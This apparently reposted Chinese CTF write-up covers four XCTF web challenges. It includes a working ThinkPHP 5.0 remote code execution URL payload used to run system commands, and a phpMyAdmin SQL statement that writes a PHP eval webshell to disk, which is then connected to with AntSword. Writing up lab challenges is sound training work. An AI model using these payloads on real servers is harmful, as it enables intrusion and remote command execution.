攻防世界web解题[进阶](一)
介绍:记录解题过程
1.baby_web(302响应中找到flag)
题目描述:想想初始页面是哪个
- 一开始我直接用
dirsearch
搜,发现一堆302跳转
python3 dirsearch.py -u http://111.200.241.244:39385/ -e*
[22:04:47] 403 - 297B - /.htm
[22:04:51] 200 - 11B - /1.php
[22:05:50] 302 - 17B - /index.php -> 1.php
[22:05:50] 302 - 17B - /index.php/login/ -> 1.php
- 跳转后看不到页面,直接用
BurpStuit
的Target
模块可以查看页面结构 - 在
/
的响应中找到flag
2.Training-WWW-Robots(robots.txt中找flag)
题目描述:暂无
cyberpeace{371f4edbe8c7567b08824de759415475}
3.php_rce(ThinkPHP 5.0 * 远程代码执行漏洞)
题目来源: 暂无
-
可以看到
ThinkPHP V5
,而ThinkPHP V5
早前便被爆出过远程代码执行漏洞
,我们就是要利用这个漏洞拿到flag
-
参考文章(要了解原理的话可以看看这篇文章)
ThinkPHP 5.0 * 远程代码执行漏洞分析 -
即然早前便被爆出过,网上可以方便的找到
payload
来使我们进行远程代码执行
-
payload
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[要执行的命令]
- 这里我们可以用两个方法来找
方法一:直接找
- 我们先直接找找带
flag
的文件名 - 我们要执行的命令是:
find / -name "*flag*"
- 访问
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag*"
cat /flag
- 访问
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
- 得到
flag
flag{thinkphp5_rce}
方法二:碰碰运气
- 看看目录结构吧
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
- 目录结构(回显):
favicon.ico index.php robots.txt router.php static favicon.ico index.php robots.txt >router.php static
- 再看看上级的目录
- 访问:
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir /
- 目录结构(回显):
bin dev
flag
lib media opt root sbin sys usr boot etc home lib64 mnt proc run srv tmp var boot etc home lib64 mnt proc run srv tmp var
- 看到了
flag
,cat
查看文件内容 - 访问
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
- 得到
flag
flag{thinkphp5_rce}
4.Web_php_include(渗透后台数据库)
题目描述:暂无
- 主页直接显示php的源码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
- 审核源码,查看关键函数
strstr()
函数:已知字符串中的一部分, 获取字符串中这一部分的前面或者后面的字符串.
- 参数1, 就是从这个字符串中搜索.
- 参数2, 就是被搜索的字符串.
- 参数3, bool, 默认为 false, 为 true 则返回前面的字符串(重点: 不包含参数2的字符串), 为 false 返回后面的字符串(重点: 包含参数2的字符串)
str_replace("php://", "", $page);
将$page中的”php://”换为空
-
参考文章:
PHP strstr()函数详解
PHP的php:// -
本题
通过php:// — 访问各个输入/输出流(I/O streams)
来得到flag
-
利用工具
中国蚁剑(中国菜刀也行)
、御剑后台扫描
-
中国蚁剑下载
-
这里看到了关键目录
http://111.200.241.244:54308/phpmyadmin/tbl_create.php
-
在
phpmyadmin库
的SQL处
写入一句话木马和文件包含:
select "<?php eval(@$_POST['flag']); ?>"into outfile '/tmp/test.php'
用中国caido连接
- (注意在URL地址后加?page=/tmp/test.php )
http://111.200.241.244:54308/?page=/tmp/test.php flag
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92723.html